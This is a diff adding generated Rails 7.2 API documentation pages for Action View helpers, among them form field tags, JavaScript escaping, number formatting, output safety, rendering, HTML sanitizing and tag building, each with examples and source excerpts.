+text_field_tag 'ip', '0.0.0.0', maxlength: 15, size: 20, class: "ip-input"
+# => <input class="ip-input" id="ip" maxlength="15" name="ip" size="20" type="text" value="0.0.0.0" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 263
+      def text_field_tag(name, value = nil, options = {})
+        tag :input, { "type" => "text", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + time_field_tag(name, value = nil, options = {}) + +

+ + +
+

Creates a text field of type β€œtime”.

+ +

Options

+ +

Supports the same options as text_field_tag. Additionally, supports:

+
  • +

    :min - The minimum acceptable value.

    +
  • +

    :max - The maximum acceptable value.

    +
  • +

    :step - The acceptable value granularity.

    +
  • +

    :include_seconds - Include seconds and ms in the output timestamp format (true by default).

    +
+ +

Examples

+ +
time_field_tag 'name'
+# => <input id="name" name="name" type="time" />
+
+time_field_tag 'time', '01:01'
+# => <input id="time" name="time" type="time" value="01:01" />
+
+time_field_tag 'time', nil, class: 'special_input'
+# => <input class="special_input" id="time" name="time" type="time" />
+
+time_field_tag 'time', '01:01', include_seconds: true
+# => <input id="time" name="time" type="time" value="01:01:00.000" />
+
+time_field_tag 'time', '01:01', min: '00:00', max: '23:59', step: 1
+# => <input id="time" max="23:59" min="00:00" name="time" step="1" type="time" value="01:01" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 767
+      def time_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :time))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_field_tag(name, value = nil, options = {}) + +

+ + +
+

Creates a text field of type β€œurl”.

+ +

Options

+ +

Supports the same options as text_field_tag.

+ +

Examples

+ +
url_field_tag 'name'
+# => <input id="name" name="name" type="url" />
+
+url_field_tag 'url', 'http://rubyonrails.org'
+# => <input id="url" name="url" type="url" value="http://rubyonrails.org" />
+
+url_field_tag 'url', nil, class: 'special_input'
+# => <input class="special_input" id="url" name="url" type="url" />
+
+url_field_tag 'url', 'http://rubyonrails.org', class: 'special_input', disabled: true
+# => <input disabled="disabled" class="special_input" id="url" name="url" type="url" value="http://rubyonrails.org" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 874
+      def url_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :url))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + utf8_enforcer_tag() + +

+ + +
+

Creates the hidden UTF-8 enforcer tag. Override this method in a helper to customize the tag.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 976
+      def utf8_enforcer_tag
+        # Use raw HTML to ensure the value is written as an HTML entity; it
+        # needs to be the right character regardless of which encoding the
+        # browser infers.
+        '<input name="utf8" type="hidden" value="&#x2713;" autocomplete="off" />'.html_safe
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + week_field_tag(name, value = nil, options = {}) + +

+ + +
+

Creates a text field of type β€œweek”.

+ +

Options

+ +

Supports the same options as text_field_tag. Additionally, supports:

+
  • +

    :min - The minimum acceptable value.

    +
  • +

    :max - The maximum acceptable value.

    +
  • +

    :step - The acceptable value granularity.

    +
+ +

Examples

+ +
week_field_tag 'name'
+# => <input id="name" name="name" type="week" />
+
+week_field_tag 'week', '2014-W01'
+# => <input id="week" name="week" type="week" value="2014-W01" />
+
+week_field_tag 'week', nil, class: 'special_input'
+# => <input class="special_input" id="week" name="week" type="week" />
+
+week_field_tag 'week', '2014-W01', class: 'special_input', disabled: true
+# => <input disabled="disabled" class="special_input" id="week" name="week" type="week" value="2014-W01" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 851
+      def week_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :week))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/JavaScriptHelper.html b/src/7.2/classes/ActionView/Helpers/JavaScriptHelper.html new file mode 100644 index 0000000000..815ac88992 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/JavaScriptHelper.html @@ -0,0 +1,265 @@ +--- +title: ActionView::Helpers::JavaScriptHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View JavaScript Helpers

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
JS_ESCAPE_MAP={ +"\\" => "\\\\", +"</" => '<\/', +"\r\n" => '\n', +"\n" => '\n', +"\r" => '\n', +'"' => '\\"', +"'" => "\\'", +"`" => "\\`", +"$" => "\\$" +}
+ + + + + + + +

Instance Public methods

+ +
+

+ + escape_javascript(javascript) + +

+ + +
+

Escapes carriage returns and single and double quotes for JavaScript segments.

+ +

Also available through the alias j(). This is particularly helpful in JavaScript responses, like:

+ +
$('some_element').replaceWith('<%= j render 'some/element_template' %>');
+
+
+ + + +
+ Also aliased as: j +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/javascript_helper.rb, line 28
+      def escape_javascript(javascript)
+        javascript = javascript.to_s
+        if javascript.empty?
+          result = ""
+        else
+          result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|\342\200\251|[\n\r"']|[`]|[$])/u, JS_ESCAPE_MAP)
+        end
+        javascript.html_safe? ? result.html_safe : result
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + j(javascript) + +

+ + +
+ +
+ + + + + +
+ Alias for: escape_javascript +
+ + + + +
+ +
+

+ + javascript_tag(content_or_options_with_block = nil, html_options = {}, &block) + +

+ + +
+

Returns a JavaScript tag with the content inside. Example:

+ +
javascript_tag "alert('All is good')"
+
+ +

Returns:

+ +
<script>
+//<![CDATA[
+alert('All is good')
+//]]>
+</script>
+
+ +

html_options may be a hash of attributes for the <script> tag.

+ +
javascript_tag "alert('All is good')", type: 'application/javascript'
+
+ +

Returns:

+ +
<script type="application/javascript">
+//<![CDATA[
+alert('All is good')
+//]]>
+</script>
+
+ +

Instead of passing the content as an argument, you can also use a block in which case, you pass your html_options as the first parameter.

+ +
<%= javascript_tag type: 'application/javascript' do -%>
+  alert('All is good')
+<% end -%>
+
+ +

If you have a content security policy enabled then you can add an automatic nonce value by passing nonce: true as part of html_options. Example:

+ +
<%= javascript_tag nonce: true do -%>
+  alert('All is good')
+<% end -%>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/javascript_helper.rb, line 75
+      def javascript_tag(content_or_options_with_block = nil, html_options = {}, &block)
+        content =
+          if block_given?
+            html_options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
+            capture(&block)
+          else
+            content_or_options_with_block
+          end
+
+        if html_options[:nonce] == true
+          html_options[:nonce] = content_security_policy_nonce
+        end
+
+        content_tag("script", javascript_cdata_section(content), html_options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/NumberHelper.html b/src/7.2/classes/ActionView/Helpers/NumberHelper.html new file mode 100644 index 0000000000..5d259b0733 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/NumberHelper.html @@ -0,0 +1,404 @@ +--- +title: ActionView::Helpers::NumberHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Number Helpers

+ +

Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, file size, and pretty printing.

+ +

Most methods expect a number argument, and will return it unchanged if can’t be converted into a valid number.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + number_to_currency(number, options = {}) + +

+ + +
+

Delegates to ActiveSupport::NumberHelper#number_to_currency.

+ +

Additionally, supports a :raise option that will cause InvalidNumberError to be raised if number is not a valid number:

+ +
number_to_currency("12x34")              # => "$12x34"
+number_to_currency("12x34", raise: true) # => InvalidNumberError
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/number_helper.rb, line 51
+      def number_to_currency(number, options = {})
+        delegate_number_helper_method(:number_to_currency, number, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + number_to_human(number, options = {}) + +

+ + +
+

Delegates to ActiveSupport::NumberHelper#number_to_human.

+ +

Additionally, supports a :raise option that will cause InvalidNumberError to be raised if number is not a valid number:

+ +
number_to_human("12x34")              # => "12x34"
+number_to_human("12x34", raise: true) # => InvalidNumberError
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/number_helper.rb, line 111
+      def number_to_human(number, options = {})
+        delegate_number_helper_method(:number_to_human, number, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + number_to_human_size(number, options = {}) + +

+ + +
+

Delegates to ActiveSupport::NumberHelper#number_to_human_size.

+ +

Additionally, supports a :raise option that will cause InvalidNumberError to be raised if number is not a valid number:

+ +
number_to_human_size("12x34")              # => "12x34"
+number_to_human_size("12x34", raise: true) # => InvalidNumberError
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/number_helper.rb, line 99
+      def number_to_human_size(number, options = {})
+        delegate_number_helper_method(:number_to_human_size, number, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + number_to_percentage(number, options = {}) + +

+ + +
+

Delegates to ActiveSupport::NumberHelper#number_to_percentage.

+ +

Additionally, supports a :raise option that will cause InvalidNumberError to be raised if number is not a valid number:

+ +
number_to_percentage("99x")              # => "99x%"
+number_to_percentage("99x", raise: true) # => InvalidNumberError
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/number_helper.rb, line 63
+      def number_to_percentage(number, options = {})
+        delegate_number_helper_method(:number_to_percentage, number, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + number_to_phone(number, options = {}) + +

+ + +
+

Delegates to ActiveSupport::NumberHelper#number_to_phone.

+ +

Additionally, supports a :raise option that will cause InvalidNumberError to be raised if number is not a valid number:

+ +
number_to_phone("12x34")              # => "12x34"
+number_to_phone("12x34", raise: true) # => InvalidNumberError
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/number_helper.rb, line 35
+      def number_to_phone(number, options = {})
+        return unless number
+        options = options.symbolize_keys
+
+        parse_float(number, true) if options.delete(:raise)
+        ERB::Util.html_escape(ActiveSupport::NumberHelper.number_to_phone(number, options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + number_with_delimiter(number, options = {}) + +

+ + +
+

Delegates to ActiveSupport::NumberHelper#number_to_delimited.

+ +

Additionally, supports a :raise option that will cause InvalidNumberError to be raised if number is not a valid number:

+ +
number_with_delimiter("12x34")              # => "12x34"
+number_with_delimiter("12x34", raise: true) # => InvalidNumberError
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/number_helper.rb, line 75
+      def number_with_delimiter(number, options = {})
+        delegate_number_helper_method(:number_to_delimited, number, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + number_with_precision(number, options = {}) + +

+ + +
+

Delegates to ActiveSupport::NumberHelper#number_to_rounded.

+ +

Additionally, supports a :raise option that will cause InvalidNumberError to be raised if number is not a valid number:

+ +
number_with_precision("12x34")              # => "12x34"
+number_with_precision("12x34", raise: true) # => InvalidNumberError
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/number_helper.rb, line 87
+      def number_with_precision(number, options = {})
+        delegate_number_helper_method(:number_to_rounded, number, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/NumberHelper/InvalidNumberError.html b/src/7.2/classes/ActionView/Helpers/NumberHelper/InvalidNumberError.html new file mode 100644 index 0000000000..cbe0bc12e3 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/NumberHelper/InvalidNumberError.html @@ -0,0 +1,127 @@ +--- +title: ActionView::Helpers::NumberHelper::InvalidNumberError +layout: default +--- +
+ +
+
+ +
+ +

Raised when argument number param given to the helpers is invalid and the option :raise is set to true.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + number
+ + + + +

Class Public methods

+ +
+

+ + new(number) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/number_helper.rb, line 22
+        def initialize(number)
+          @number = number
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/OutputSafetyHelper.html b/src/7.2/classes/ActionView/Helpers/OutputSafetyHelper.html new file mode 100644 index 0000000000..c1a4d61c9b --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/OutputSafetyHelper.html @@ -0,0 +1,222 @@ +--- +title: ActionView::Helpers::OutputSafetyHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Raw Output Helpers

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + raw(stringish) + +

+ + +
+

This method outputs without escaping a string. Since escaping tags is now default, this can be used when you don’t want Rails to automatically escape tags. This is not recommended if the data is coming from the user’s input.

+ +

For example:

+ +
raw @user.name
+# => 'Jimmy <alert>Tables</alert>'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/output_safety_helper.rb, line 18
+      def raw(stringish)
+        stringish.to_s.html_safe
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + safe_join(array, sep = $,) + +

+ + +
+

This method returns an HTML safe string similar to what Array#join would return. The array is flattened, and all items, including the supplied separator, are HTML escaped unless they are HTML safe, and the returned string is marked as HTML safe.

+ +
safe_join([tag.p("foo"), "<p>bar</p>"], "<br>")
+# => "<p>foo</p>&lt;br&gt;&lt;p&gt;bar&lt;/p&gt;"
+
+safe_join([tag.p("foo"), tag.p("bar")], tag.br)
+# => "<p>foo</p><br><p>bar</p>"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/output_safety_helper.rb, line 33
+      def safe_join(array, sep = $,)
+        sep = ERB::Util.unwrapped_html_escape(sep)
+
+        array.flatten.map! { |i| ERB::Util.unwrapped_html_escape(i) }.join(sep).html_safe
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_sentence(array, options = {}) + +

+ + +
+

Converts the array to a comma-separated sentence where the last element is joined by the connector word. This is the html_safe-aware version of ActiveSupport’s Array#to_sentence.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/output_safety_helper.rb, line 43
+      def to_sentence(array, options = {})
+        options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale)
+
+        default_connectors = {
+          words_connector: ", ",
+          two_words_connector: " and ",
+          last_word_connector: ", and "
+        }
+        if defined?(I18n)
+          i18n_connectors = I18n.translate(:'support.array', locale: options[:locale], default: {})
+          default_connectors.merge!(i18n_connectors)
+        end
+        options = default_connectors.merge!(options)
+
+        case array.length
+        when 0
+          "".html_safe
+        when 1
+          ERB::Util.html_escape(array[0])
+        when 2
+          safe_join([array[0], array[1]], options[:two_words_connector])
+        else
+          safe_join([safe_join(array[0...-1], options[:words_connector]), options[:last_word_connector], array[-1]], nil)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/RenderingHelper.html b/src/7.2/classes/ActionView/Helpers/RenderingHelper.html new file mode 100644 index 0000000000..590421ec2f --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/RenderingHelper.html @@ -0,0 +1,230 @@ +--- +title: ActionView::Helpers::RenderingHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Rendering Helpers

+ +

Implements methods that allow rendering from a view context. In order to use this module, all you need is to implement view_renderer that returns an ActionView::Renderer object.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + _layout_for(*args, &block) + +

+ + +
+

Overrides _layout_for in the context object so it supports the case a block is passed to a partial. Returns the contents that are yielded to a layout, given a name or a block.

+ +

You can think of a layout as a method that is called with a block. If the user calls yield :some_name, the block, by default, returns content_for(:some_name). If the user calls simply yield, the default block returns content_for(:layout).

+ +

The user can override this default by passing a block to the layout:

+ +
# The template
+<%= render layout: "my_layout" do %>
+  Content
+<% end %>
+
+# The layout
+<html>
+  <%= yield %>
+</html>
+
+ +

In this case, instead of the default block, which would return content_for(:layout), this method returns the block that was passed in to render :layout, and the response would be

+ +
<html>
+  Content
+</html>
+
+ +

Finally, the block can take block arguments, which can be passed in by yield:

+ +
# The template
+<%= render layout: "my_layout" do |customer| %>
+  Hello <%= customer.name %>
+<% end %>
+
+# The layout
+<html>
+  <%= yield Struct.new(:name).new("David") %>
+</html>
+
+ +

In this case, the layout would receive the block passed into render :layout, and the struct specified would be passed into the block as an argument. The result would be

+ +
<html>
+  Hello David
+</html>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/rendering_helper.rb, line 97
+      def _layout_for(*args, &block)
+        name = args.first
+
+        if block && !name.is_a?(Symbol)
+          capture(*args, &block)
+        else
+          super
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + render(options = {}, locals = {}, &block) + +

+ + +
+

Returns the result of a render that’s dictated by the options hash. The primary options are:

+
  • +

    :partial - See ActionView::PartialRenderer.

    +
  • +

    :file - Renders an explicit template file (this used to be the old default), add :locals to pass in those.

    +
  • +

    :inline - Renders an inline template similar to how it’s done in the controller.

    +
  • +

    :plain - Renders the text passed in out. Setting the content type as text/plain.

    +
  • +

    :html - Renders the HTML safe string passed in out, otherwise performs HTML escape on the string first. Setting the content type as text/html.

    +
  • +

    :body - Renders the text passed in, and inherits the content type of text/plain from ActionDispatch::Response object.

    +
+ +

If no options hash is passed or if :update is specified, then:

+ +

If an object responding to render_in is passed, render_in is called on the object, passing in the current view context.

+ +

Otherwise, a partial is rendered using the second parameter as the locals hash.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/rendering_helper.rb, line 30
+      def render(options = {}, locals = {}, &block)
+        case options
+        when Hash
+          in_rendering_context(options) do |renderer|
+            if block_given?
+              view_renderer.render_partial(self, options.merge(partial: options[:layout]), &block)
+            else
+              view_renderer.render(self, options)
+            end
+          end
+        else
+          if options.respond_to?(:render_in)
+            options.render_in(self, &block)
+          else
+            view_renderer.render_partial(self, partial: options, locals: locals, &block)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/SanitizeHelper.html b/src/7.2/classes/ActionView/Helpers/SanitizeHelper.html new file mode 100644 index 0000000000..e39f594270 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/SanitizeHelper.html @@ -0,0 +1,343 @@ +--- +title: ActionView::Helpers::SanitizeHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Sanitize Helpers

+ +

The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements. These helper methods extend Action View making them callable within your template files.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + sanitize(html, options = {}) + +

+ + +
+

Sanitizes HTML input, stripping all but known-safe tags and attributes.

+ +

It also strips href / src attributes with unsafe protocols like javascript:, while also protecting against attempts to use Unicode, ASCII, and hex character references to work around these protocol filters.

+ +

The default sanitizer is Rails::HTML5::SafeListSanitizer. See Rails HTML Sanitizers for more information.

+ +

Custom sanitization rules can also be provided.

+ +

Please note that sanitizing user-provided text does not guarantee that the resulting markup is valid or even well-formed.

+ +

Options

+
:tags +
+

An array of allowed tags.

+
:attributes +
+

An array of allowed attributes.

+
:scrubber +
+

A Rails::HTML scrubber or Loofah::Scrubber object that defines custom sanitization rules. A custom scrubber takes precedence over custom tags and attributes.

+
+ +

Examples

+ +
Normal use
+ +
<%= sanitize @comment.body %>
+
+ +
Providing custom lists of permitted tags and attributes
+ +
<%= sanitize @comment.body, tags: %w(strong em a), attributes: %w(href) %>
+
+ +
Providing a custom Rails::HTML scrubber
+ +
class CommentScrubber < Rails::HTML::PermitScrubber
+  def initialize
+    super
+    self.tags = %w( form script comment blockquote )
+    self.attributes = %w( style )
+  end
+
+  def skip_node?(node)
+    node.text?
+  end
+end
+
+ +

+ +
<%= sanitize @comment.body, scrubber: CommentScrubber.new %>
+
+ +

See Rails HTML Sanitizer for documentation about Rails::HTML scrubbers.

+ +
Providing a custom Loofah::Scrubber
+ +
scrubber = Loofah::Scrubber.new do |node|
+  node.remove if node.name == 'script'
+end
+
+ +

+ +
<%= sanitize @comment.body, scrubber: scrubber %>
+
+ +

See Loofah’s documentation for more information about defining custom Loofah::Scrubber objects.

+ +

Global Configuration

+ +

To set the default allowed tags or attributes across your application:

+ +
# In config/application.rb
+config.action_view.sanitized_allowed_tags = ['strong', 'em', 'a']
+config.action_view.sanitized_allowed_attributes = ['href', 'title']
+
+ +

The default, starting in Rails 7.1, is to use an HTML5 parser for sanitization (if it is available, see NOTE below). If you wish to revert back to the previous HTML4 behavior, you can do so by setting the following in your application configuration:

+ +
# In config/application.rb
+config.action_view.sanitizer_vendor = Rails::HTML4::Sanitizer
+
+ +

Or, if you’re upgrading from a previous version of Rails and wish to opt into the HTML5 behavior:

+ +
# In config/application.rb
+config.action_view.sanitizer_vendor = Rails::HTML5::Sanitizer
+
+ +

NOTE: Rails::HTML5::Sanitizer is not supported on JRuby, so on JRuby platforms Rails will fall back to using Rails::HTML4::Sanitizer.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/sanitize_helper.rb, line 111
+      def sanitize(html, options = {})
+        self.class.safe_list_sanitizer.sanitize(html, options)&.html_safe
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sanitize_css(style) + +

+ + +
+

Sanitizes a block of CSS code. Used by sanitize when it comes across a style attribute.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/sanitize_helper.rb, line 116
+      def sanitize_css(style)
+        self.class.safe_list_sanitizer.sanitize_css(style)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+ + + +
+

Strips all link tags from html leaving just the link text.

+ +
strip_links('<a href="http://www.rubyonrails.org">Ruby on Rails</a>')
+# => Ruby on Rails
+
+strip_links('Please e-mail me at <a href="mailto:me@email.com">me@email.com</a>.')
+# => Please e-mail me at me@email.com.
+
+strip_links('Blog: <a href="http://www.myblog.com/" class="nav" target=\"_blank\">Visit</a>.')
+# => Blog: Visit.
+
+strip_links('<<a href="https://example.org">malformed & link</a>')
+# => &lt;malformed &amp; link
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/sanitize_helper.rb, line 150
+      def strip_links(html)
+        self.class.link_sanitizer.sanitize(html)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + strip_tags(html) + +

+ + +
+

Strips all HTML tags from html, including comments and special characters.

+ +
strip_tags("Strip <i>these</i> tags!")
+# => Strip these tags!
+
+strip_tags("<b>Bold</b> no more!  <a href='more.html'>See more here</a>...")
+# => Bold no more!  See more here...
+
+strip_tags("<div id='top-bar'>Welcome to my website!</div>")
+# => Welcome to my website!
+
+strip_tags("> A quote from Smith & Wesson")
+# => &gt; A quote from Smith &amp; Wesson
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/sanitize_helper.rb, line 133
+      def strip_tags(html)
+        self.class.full_sanitizer.sanitize(html)&.html_safe
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/TagHelper.html b/src/7.2/classes/ActionView/Helpers/TagHelper.html new file mode 100644 index 0000000000..93f3cca0b4 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/TagHelper.html @@ -0,0 +1,672 @@ +--- +title: ActionView::Helpers::TagHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Tag Helpers

+ +

Provides methods to generate HTML tags programmatically both as a modern HTML5 compliant builder style and legacy XHTML compliant tags.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ARIA_PREFIXES=["aria", :aria].to_set.freeze
BOOLEAN_ATTRIBUTES=%w(allowfullscreen allowpaymentrequest async autofocus +autoplay checked compact controls declare default +defaultchecked defaultmuted defaultselected defer +disabled enabled formnovalidate hidden indeterminate +inert ismap itemscope loop multiple muted nohref +nomodule noresize noshade novalidate nowrap open +pauseonexit playsinline readonly required reversed +scoped seamless selected sortable truespeed +typemustmatch visible).to_set
DATA_PREFIXES=["data", :data].to_set.freeze
PRE_CONTENT_STRINGS=Hash.new { "" }
TAG_TYPES={}
+ + + + + + +

Class Public methods

+ +
+

+ + build_tag_values(*args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/tag_helper.rb, line 593
+        def build_tag_values(*args)
+          tag_values = []
+
+          args.each do |tag_value|
+            case tag_value
+            when Hash
+              tag_value.each do |key, val|
+                tag_values << key.to_s if val && key.present?
+              end
+            when Array
+              tag_values.concat build_tag_values(*tag_value)
+            else
+              tag_values << tag_value.to_s if tag_value.present?
+            end
+          end
+
+          tag_values
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ensure_valid_html5_tag_name(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/tag_helper.rb, line 588
+        def ensure_valid_html5_tag_name(name)
+          raise ArgumentError, "Invalid HTML5 tag name: #{name.inspect}" unless /\A[a-zA-Z][^\s\/>]*\z/.match?(name)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + cdata_section(content) + +

+ + +
+

Returns a CDATA section with the given content. CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. CDATA sections begin with the string <![CDATA[ and end with (and may not contain) the string ]]>.

+ +
cdata_section("<hello world>")
+# => <![CDATA[<hello world>]]>
+
+cdata_section(File.read("hello_world.txt"))
+# => <![CDATA[<hello from a text file]]>
+
+cdata_section("hello]]>world")
+# => <![CDATA[hello]]]]><![CDATA[>world]]>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/tag_helper.rb, line 571
+      def cdata_section(content)
+        splitted = content.to_s.gsub(/\]\]>/, "]]]]><![CDATA[>")
+        "<![CDATA[#{splitted}]]>".html_safe
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + class_names(*args) + +

+ + +
+ +
+ + + + + +
+ Alias for: token_list +
+ + + + +
+ +
+

+ + content_tag(name, content_or_options_with_block = nil, options = nil, escape = true, &block) + +

+ + +
+

Returns an HTML block tag of type name surrounding the content. Add HTML attributes by passing an attributes hash to options. Instead of passing the content as an argument, you can also use a block in which case, you pass your options as the second parameter. Set escape to false to disable escaping. Note: this is legacy syntax, see tag method description for details.

+ +

Options

+ +

The options hash can be used with attributes with no value like (disabled and readonly), which you can give a value of true in the options hash. You can use symbols or strings for the attribute names.

+ +

Examples

+ +
content_tag(:p, "Hello world!")
+ # => <p>Hello world!</p>
+content_tag(:div, content_tag(:p, "Hello world!"), class: "strong")
+ # => <div class="strong"><p>Hello world!</p></div>
+content_tag(:div, "Hello world!", class: ["strong", "highlight"])
+ # => <div class="strong highlight">Hello world!</div>
+content_tag(:div, "Hello world!", class: ["strong", { highlight: current_user.admin? }])
+ # => <div class="strong highlight">Hello world!</div>
+content_tag("select", options, multiple: true)
+ # => <select multiple="multiple">...options...</select>
+
+<%= content_tag :div, class: "strong" do -%>
+  Hello world!
+<% end -%>
+ # => <div class="strong">Hello world!</div>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/tag_helper.rb, line 529
+      def content_tag(name, content_or_options_with_block = nil, options = nil, escape = true, &block)
+        ensure_valid_html5_tag_name(name)
+
+        if block_given?
+          options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
+          tag_builder.content_tag_string(name, capture(&block), options, escape)
+        else
+          tag_builder.content_tag_string(name, content_or_options_with_block, options, escape)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + escape_once(html) + +

+ + +
+

Returns an escaped version of html without affecting existing escaped entities.

+ +
escape_once("1 < 2 &amp; 3")
+# => "1 &lt; 2 &amp; 3"
+
+escape_once("&lt;&lt; Accept & Checkout")
+# => "&lt;&lt; Accept &amp; Checkout"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/tag_helper.rb, line 583
+      def escape_once(html)
+        ERB::Util.html_escape_once(html)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

